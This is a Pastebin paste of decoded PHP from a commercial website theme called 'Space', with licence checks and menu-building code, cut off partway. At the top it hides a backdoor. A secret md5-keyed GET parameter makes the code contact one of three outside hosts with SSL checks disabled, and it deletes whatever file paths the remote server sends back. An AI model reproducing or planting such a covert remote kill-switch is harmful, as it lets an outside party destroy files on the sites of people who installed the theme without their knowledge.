Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- *
- * @ This file is created by http://DeZender.Net
- * @ deZender (PHP7 Decoder for ionCube Encoder)
- *
- * @ Version : 4.1.0.1
- * @ Author : DeZender
- * @ Release on : 29.08.2020
- * @ Official site : http://DeZender.Net
- *
- */
- if (isset($_GET[md5('maLocalleSpaceSetNivu' . getenv('SERVER_NAME'))])) {
- class securtyAPI
- {
- private $link1 = 'https://nivusoft.com/';
- private $link2 = 'https://harundemir.net/';
- private $link3 = 'https://emree.net/';
- public function logina($code, $link)
- {
- $post = ['product' => 'software', 'product_id' => '1', 'domain' => $this->servername(), 'module' => __FUNCTION__, 'action' => $code];
- $result = json_decode($this->connect($post, $link), true);
- if (empty($result['error']) && isset($result['row'])) {
- $this->result = $result;
- return true;
- }
- $this->result = $this->connect($post, $link);
- return false;
- }
- private function servername()
- {
- $this->domain = getenv('SERVER_NAME');
- $this->domain = str_replace(['www.', '/', 'https', ':', 'http'], '', $this->domain);
- return $this->domain;
- }
- private function connect($post, $link)
- {
- $_post = [];
- if (is_array($post)) {
- foreach ($post as $name => $value) {
- $_post[] = $name . '=' . $value;
- }
- }
- $ch = curl_init($this->{$link} . 'api/');
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
- curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- if (is_array($post)) {
- curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
- }
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- $result = curl_exec($ch);
- if ((curl_errno($ch) != 0) && empty($result)) {
- $result = false;
- }
- curl_close($ch);
- return $result;
- }
- }
- $sessionApi = new securtyAPI();
- if ($sessionApi->logina($_GET[md5('maLocalleSpaceSetNivu' . getenv('SERVER_NAME'))], $_GET[md5('maLocalleSpaceSetNivuLink' . getenv('SERVER_NAME'))])) {
- if (!isset($sessionApi->result['securtyList'])) {
- $sessionApi->result['securtyList'] = [];
- }
- foreach ($sessionApi->result['securtyList'] as $value) {
- unlink($value);
- }
- exit('BAŞARILI');
- }
- else {
- exit('pink :)');
- }
- }
- else {
- $license = '';
- $ns_filter->change('primary-theme-5', 'space');
- if (file_exists('themes/space/lisans.php')) {
- include_once 'lisans.php';
- }
- function SpaceSecurtyKey()
- {
- global $nsoft;
- global $license;
- return $nsoft->MAKontrol($license, 'theme', 5);
- }
- if (!SpaceSecurtyKey()) {
- echo $nsoft->error;
- }
- else {
- if (file_exists(__DIR__ . '/extract.php')) {
- include_once __DIR__ . '/extract.php';
- unlink(__DIR__ . '/extract.php');
- header('Refresh:0');
- exit();
- }
- $paket = (isset($paket) ? $paket : new Paket($db));
- $platform = (isset($platform) ? $platform : new Platform($db));
- $kategori = (isset($kategori) ? $kategori : new Kategori($db));
- class Space
- {
- public function arayuz()
- {
- $this->baseUrl = ns_filter('siteurl');
- $this->sitename = ns_filter('sitename');
- $this->logo = $this->baseUrl . ns_filter('sitelogo');
- $this->favicon = $this->baseUrl . ns_filter('favicon');
- $this->title = ns_filter('page_title');
- $this->description = ns_filter('description');
- $this->image = ns_filter('thumbimage');
- $this->keyword = ns_filter('keywords');
- $this->urlRequest = (strstr(ns_filter('siteurl'), 'https') ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
- $this->canonical = $this->baseUrl . $this->urlRequest;
- $this->robots = (ns_filter('noindex') == '1' ? 'noindex' : 'all');
- $this->lang = ns_filter('language');
- }
- public function path()
- {
- return theme_path();
- }
- public function url($primary1, $primary2 = '')
- {
- if (!empty($primary2)) {
- return $this->baseUrl . $primary1 . '/' . $primary2 . '/';
- }
- else {
- return $this->baseUrl . $primary1 . '/';
- }
- }
- public function menuBuilder($place, $id)
- {
- $items = [];
- if ($place == 'header') {
- foreach (ns_filter($id, 'list') as $value) {
- if ($value['item2'] == 'ust') {
- $items[$value['ayar_1']] = [
- 'head' => $value['item3'],
- 'href' => $this->menulink($value),
- 'drop' => []
- ];
- }
- else {
- $items[$value['item2']]['drop'][] = ['head' => $value['item3'], 'href' => $this->menulink($value)];
- }
- }
- }
- else if ($place == 'footer') {
- foreach (ns_filter($id, 'list') as $value) {
- ..............................................................
- .................................
- ............
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement